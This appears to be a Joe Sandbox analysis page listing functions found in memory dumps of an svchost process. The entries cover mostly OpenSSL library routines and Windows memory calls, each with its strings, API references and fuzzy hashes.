API ID: X509_$E_add_lookupP_ctrl_exR_pop_to_markR_set_mark
String ID:
API String ID: 3663983608-0
Opcode ID: 135ad2358095351e0334d5d2e2c2bc71690ac24f215a49cf4de52d59c4524a4f
Instruction ID: 99e9d2054135409e487b96de0864a5ba7c9e9db2d6a9d0c39e95da513c5a30be
Opcode Fuzzy Hash: 135ad2358095351e0334d5d2e2c2bc71690ac24f215a49cf4de52d59c4524a4f
Instruction Fuzzy Hash: 3EF0A9A2A0A74242EB619775F08175D6350EF88BD4F458131FF5C077AAEE3CD4444704

Function 00007FFBAB41A6B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB41A8CB

Strings

ssl\s3_msg.c, xrefs: 00007FFBAB41A7E8, 00007FFBAB41A853
v, xrefs: 00007FFBAB41A7EF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_ctrl
String ID: ssl\s3_msg.c$v
API String ID: 3605655398-2542064467
Opcode ID: a4d6dcf6aadac775b40b2e3e810d1e09ce69368ff7b43572e540d2d845c54ad3
Instruction ID: a2f3f80d947ed4527ec09a6eb240aa8b721ed5499c722204a3ea31476085a170
Opcode Fuzzy Hash: a4d6dcf6aadac775b40b2e3e810d1e09ce69368ff7b43572e540d2d845c54ad3
Instruction Fuzzy Hash: 59718372A0968186E761CF35E0417AD77A0FB49B88F184136DFAC87B99DF3DD5848B10

Function 64947890 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 64947946

Strings

Address %p has no image-section, xrefs: 64947897, 649479E2
VirtualQuery failed for %d bytes at address %p, xrefs: 649479CC

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 1804819252-157664173
Opcode ID: 58d5ffc90012783a004cf7d7dd8a0b386f8571cb24a0408e1651455e6bf02d4c
Instruction ID: 8be9da6754a8680321cc1caed793d364adb42589025e39e06b87e8c5ec4e3486
Opcode Fuzzy Hash: 58d5ffc90012783a004cf7d7dd8a0b386f8571cb24a0408e1651455e6bf02d4c
Instruction Fuzzy Hash: 2931D177792A4899FB41EF12EC44B56776ABB46BE8F488225DE0C07360EB38C143C310

Function 00007FFBAB4461C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

BIO_write_ex.LIBCRYPTO-3-X64(?,00007FFBAB4465AF,?,00007FFBAB4463E5,?,00007FFBAB445FD1,00000000,00007FFBAB446D2C,?,00007FFBAB448458,02000100,00007FFBAB447837,?,00007FFBAB4496C5,02000100,00007FFBAB44E4EE), ref: 00007FFBAB446273

Part of subcall function 00007FFBAB4461C0: memcpy.VCRUNTIME140(?,00007FFBAB4465AF,?,00007FFBAB4463E5,?,00007FFBAB445FD1,00000000,00007FFBAB446D2C,?,00007FFBAB448458,02000100,00007FFBAB447837,?,00007FFBAB4496C5,02000100,00007FFBAB44E4EE), ref: 00007FFBAB4462B2

Strings

, xrefs: 00007FFBAB446238

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_write_exmemcpy
String ID:
API String ID: 2233345512-399585960
Opcode ID: 9fe9475822be5c7edd5345edf8b85b0ce9b925777148dcc73a498bc2fa9520ec
Instruction ID: 1ef0eed9c685755e99a7417c8a031b713200f17df55efa3250a0dc7202862648
Opcode Fuzzy Hash: 9fe9475822be5c7edd5345edf8b85b0ce9b925777148dcc73a498bc2fa9520ec
Instruction Fuzzy Hash: ED31B2B2A09B8293E62A9B75E15016EBBA0FB45B80F548075DF9C03B65CF3DE571C300

Function 00007FFBAB446950 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

BIO_write_ex.LIBCRYPTO-3-X64(?,00000030,00007FFBAB44685A,00000000,?,?,00007FFBAB446CD8,?,00007FFBAB448467,02000100,00007FFBAB447837,?,00007FFBAB4496C5,02000100,00007FFBAB44E4EE), ref: 00007FFBAB4469D3

Part of subcall function 00007FFBAB4461C0: BIO_write_ex.LIBCRYPTO-3-X64(?,00007FFBAB4465AF,?,00007FFBAB4463E5,?,00007FFBAB445FD1,00000000,00007FFBAB446D2C,?,00007FFBAB448458,02000100,00007FFBAB447837,?,00007FFBAB4496C5,02000100,00007FFBAB44E4EE), ref: 00007FFBAB446273

memcpy.VCRUNTIME140(?,00000030,00007FFBAB44685A,00000000,?,?,00007FFBAB446CD8,?,00007FFBAB448467,02000100,00007FFBAB447837,?,00007FFBAB4496C5,02000100,00007FFBAB44E4EE), ref: 00007FFBAB446A12

Strings

\u00, xrefs: 00007FFBAB446A24

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_write_ex$memcpy
String ID: \u00
API String ID: 2000845359-188400610
Opcode ID: c2f7faf3ad159e8ce584005750ab09050fbed26cbf8b54428de2030e24038d41
Instruction ID: 5b540e78acf691a8d7696f6ee9eefea050c8cff9df12a42b1cecccc9e73895b0
Opcode Fuzzy Hash: c2f7faf3ad159e8ce584005750ab09050fbed26cbf8b54428de2030e24038d41
Instruction Fuzzy Hash: 8C2191B2A09AC193E7258B75E1502ADABA0FB45780F18C175DF9C13BA5CF79E4758300

Function 00007FFBAB44012B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

BIO_indent.LIBCRYPTO-3-X64 ref: 00007FFBAB44018D
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB4401CD
BIO_dump_indent.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB440910,?,?,?,?,?,?,00007FFBAB43EEE8), ref: 00007FFBAB440736

Strings

%s (0x%04x), xrefs: 00007FFBAB4401C3

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_dump_indentO_indentO_printf
String ID: %s (0x%04x)
API String ID: 2723189173-3351362759
Opcode ID: 1e846a7a4961b60ab853e2fbc2601ae29c44c3ba9b5bb69f43aee9e5efff950a
Instruction ID: 6ff82f05c17bc105f03d2e6d0bc71e476a9cc427442285c898564d29adf65dfc
Opcode Fuzzy Hash: 1e846a7a4961b60ab853e2fbc2601ae29c44c3ba9b5bb69f43aee9e5efff950a
Instruction Fuzzy Hash: AA1129B2B0E58287EB2A8635E4212FD6B50EB41794F48C031CEAC067A2DE2CD162C700

Function 00007FFBAB44048A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

BIO_indent.LIBCRYPTO-3-X64 ref: 00007FFBAB4404D2
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB440507
BIO_dump_indent.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB440910,?,?,?,?,?,?,00007FFBAB43EEE8), ref: 00007FFBAB440736

Strings

%s (%d), xrefs: 00007FFBAB4404FD

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_dump_indentO_indentO_printf
String ID: %s (%d)
API String ID: 2723189173-2206749211
Opcode ID: 7941ef2ecc73a662dd177bcf290c014e0e210db29d4c5eecc4cb5782006fea4c
Instruction ID: 88a5ea40c4bf45503b9bc7c73baf79da33cbe15a3dbb68d9351bf563ca436723
Opcode Fuzzy Hash: 7941ef2ecc73a662dd177bcf290c014e0e210db29d4c5eecc4cb5782006fea4c
Instruction Fuzzy Hash: 0011E5B2B0E69286EE668A31E0100BA6F51EB45794F44C431CFAD077A5CE3CE1A2CB40

Function 00007FFBAB498989 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

Strings

#, xrefs: 00007FFBAB498A2F

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 755a76a62d667d4964054da24ef3d958c293f51d3ac71132f0fcb928d9ae18d7
Instruction ID: 39f6fdc8cf59f513e4315df952eb95ac864496b32b48b14bd318c975523214ae
Opcode Fuzzy Hash: 755a76a62d667d4964054da24ef3d958c293f51d3ac71132f0fcb928d9ae18d7
Instruction Fuzzy Hash: 151192B2F0A24186FBA68B39D0D83BC2BD1EB40B44F088179CE5C0A6E5CFBD94C48311

Function 00007FFBAB4987DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

BIO_clear_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987C5
BIO_set_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987D2
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB498A44
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB498A5C

Strings

$, xrefs: 00007FFBAB498826

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_clear_flagsO_set_flagsR_newR_set_debug
String ID: $
API String ID: 4119164335-3993045852
Opcode ID: e861b635a260d0521812b5d88f94463c3450914c77ecf3551f80ef991edadf37
Instruction ID: f9e931a3ef84459ff4207ea3f1b2027d8e732f0d4ed09116aec4b18941595528
Opcode Fuzzy Hash: e861b635a260d0521812b5d88f94463c3450914c77ecf3551f80ef991edadf37
Instruction Fuzzy Hash: F30152A1A0614586FF66CB79D0C93BC2BD0EB81B54F088075CE5C4A6E5CF7D94C48321

Function 00007FFBAB49883D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

BIO_clear_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987C5
BIO_set_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987D2

Strings

0, xrefs: 00007FFBAB498884

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_clear_flagsO_set_flags
String ID: 0
API String ID: 3946675294-4108050209
Opcode ID: 8bfe953c5c865e6decd360031a0580a611bba00c4d387c5f22279d2639491d50
Instruction ID: d800cd37f82074d58e802667d148213949f41d3a602398de7266b32113357a92
Opcode Fuzzy Hash: 8bfe953c5c865e6decd360031a0580a611bba00c4d387c5f22279d2639491d50
Instruction Fuzzy Hash: 070184B1E0A2464AFF669B39C0C53BD2B91EF81B88F0C8074CE584A6D6DF7D58D58321

Function 00007FFBAB42B020 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

OSSL_PARAM_construct_int.LIBCRYPTO-3-X64 ref: 00007FFBAB42B061
OSSL_PARAM_construct_end.LIBCRYPTO-3-X64 ref: 00007FFBAB42B087

Strings

read_ahead, xrefs: 00007FFBAB42B05A

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: M_construct_endM_construct_int
String ID: read_ahead
API String ID: 984625892-3142057140
Opcode ID: 88b45bba1c2f1a6a971b24addbbe484a25df95155a7ea383780fe59d83bbd36e
Instruction ID: 5f8b433d3541990b0d59565ae551c6b100176f0f28831cd8bab3033fbdf9fd7a
Opcode Fuzzy Hash: 88b45bba1c2f1a6a971b24addbbe484a25df95155a7ea383780fe59d83bbd36e
Instruction Fuzzy Hash: 9D112E66909BC986E7229F78D0513E9B360FB99748F449231DF9D16626EF38E189CB00

Function 00007FFBAB488A47 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

ERR_set_debug.LIBCRYPTO-3-X64(?,?,00000000,-00000031,00007FFBAB488692), ref: 00007FFBAB488B1C

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

write_state_machine, xrefs: 00007FFBAB488B0E
ssl\statem\statem.c, xrefs: 00007FFBAB488B15

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_set_debugR_vset_error
String ID: ssl\statem\statem.c$write_state_machine
API String ID: 3681713388-3145639028
Opcode ID: e7b06f0b829d9ee6c3306deeb4800a49986b91a08856d2242d6c70275ab85e4d
Instruction ID: ae455170abc1fbbd9e402dcfba20363498548057a039a3c5661bc66bb50fffd2
Opcode Fuzzy Hash: e7b06f0b829d9ee6c3306deeb4800a49986b91a08856d2242d6c70275ab85e4d
Instruction Fuzzy Hash: 11F090736197828BE743DB35E8957E83721EB45790F098073CF68436A2EE39D496C341

Function 00007FFBAB498A05 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

BIO_clear_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987C5
BIO_set_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987D2

Strings

$, xrefs: 00007FFBAB498A0E

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_clear_flagsO_set_flags
String ID: $
API String ID: 3946675294-3993045852
Opcode ID: 858479fff8082ae8b39c8b4f6e49fb7cef3cca36a28341a1b00d2c29114c4208
Instruction ID: 576fb916d0c67bd13f3778cef493756d1a84022fc22e9a66eace23b73876f822
Opcode Fuzzy Hash: 858479fff8082ae8b39c8b4f6e49fb7cef3cca36a28341a1b00d2c29114c4208
Instruction Fuzzy Hash: E7F030A1F0724246FFA69A79D4953BD27819B85B44F088078CE5C4B7E6DFBE94C58310

Function 00007FFBAB488A98 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

ERR_set_debug.LIBCRYPTO-3-X64(?,?,00000000,-00000031,00007FFBAB488692), ref: 00007FFBAB488B1C

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

write_state_machine, xrefs: 00007FFBAB488B0E
ssl\statem\statem.c, xrefs: 00007FFBAB488B15

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_set_debugR_vset_error
String ID: ssl\statem\statem.c$write_state_machine
API String ID: 3681713388-3145639028
Opcode ID: bb49afc650bbc74ddf2c9596240e7acfbe2fa9fc4754a5b5427dedf954be50b2
Instruction ID: ca927711d4f1e2a81472a9ecf24bad0248e5a88a6d70f21c3907aacdb427e3ed
Opcode Fuzzy Hash: bb49afc650bbc74ddf2c9596240e7acfbe2fa9fc4754a5b5427dedf954be50b2
Instruction Fuzzy Hash: B9F090736197868AE743DB35E4557E82B20FB45754F088477CF68035A3EE39D496C300

Function 00007FFBAB498A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

BIO_clear_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987C5
BIO_set_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987D2

Strings

#, xrefs: 00007FFBAB498A2F

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_clear_flagsO_set_flags
String ID: #
API String ID: 3946675294-1885708031
Opcode ID: 9edbbc9cf9b2035251af165760b932159eec7fa7c28778bf96a934e8562b0b6d
Instruction ID: d314a93eeebb98e982a903bc02ead731c5875938149396e066f17548a17b8253
Opcode Fuzzy Hash: 9edbbc9cf9b2035251af165760b932159eec7fa7c28778bf96a934e8562b0b6d
Instruction Fuzzy Hash: 2DF0A0A1F0B24246FFA69A75D0953BD2781DB84B44F088078CD5C0BBE6DFBE84C58310

Function 00007FFBAB49896B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

BIO_clear_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987C5
BIO_set_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987D2

Strings

, xrefs: 00007FFBAB498974

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_clear_flagsO_set_flags
String ID:
API String ID: 3946675294-3916222277
Opcode ID: b51f1b6c0890579b79eb27bf295fe1aa36f5839a817513cc7c0856274dfcc6b4
Instruction ID: db3dca3aeb582d0cdbf4699ee24346e16a9edba5d1ee2e67a5c2e9d4561f5587
Opcode Fuzzy Hash: b51f1b6c0890579b79eb27bf295fe1aa36f5839a817513cc7c0856274dfcc6b4
Instruction Fuzzy Hash: 7FF08CA1F0624246FBA69A79D0953BD27819B84B44F088078CD5C0A7E6DFBD84C58310

Function 00007FFBAB49881D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

BIO_clear_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987C5
BIO_set_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987D2

Strings

$, xrefs: 00007FFBAB498826

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_clear_flagsO_set_flags
String ID: $
API String ID: 3946675294-3993045852
Opcode ID: 858479fff8082ae8b39c8b4f6e49fb7cef3cca36a28341a1b00d2c29114c4208
Instruction ID: 576fb916d0c67bd13f3778cef493756d1a84022fc22e9a66eace23b73876f822
Opcode Fuzzy Hash: 858479fff8082ae8b39c8b4f6e49fb7cef3cca36a28341a1b00d2c29114c4208
Instruction Fuzzy Hash: E7F030A1F0724246FFA69A79D4953BD27819B85B44F088078CE5C4B7E6DFBE94C58310

Function 00007FFBAB45A440 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

OPENSSL_LH_delete.LIBCRYPTO-3-X64 ref: 00007FFBAB45A45C
OPENSSL_LH_delete.LIBCRYPTO-3-X64 ref: 00007FFBAB45A46C

Strings

ssl\quic\quic_lcidm.c, xrefs: 00007FFBAB45A475

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_delete
String ID: ssl\quic\quic_lcidm.c
API String ID: 3239526987-3923830422
Opcode ID: 232aafc997d7999e1c6c17a4d80df4341fcd33b7748c27ad3f0d600700aad4e9
Instruction ID: 2cfef65775d56383acaff7a984f79ba9fe02c1976d8bfbb7a08b41e5e1602b9c
Opcode Fuzzy Hash: 232aafc997d7999e1c6c17a4d80df4341fcd33b7748c27ad3f0d600700aad4e9
Instruction Fuzzy Hash: 22E01AD1B4A50681EE21DBA7C89517C6361EB8CFC4F14C432EE1D8B376CE2DD4468310

Function 649424D0 Relevance: 5.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6494251B
LeaveCriticalSection.KERNEL32 ref: 64942544

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
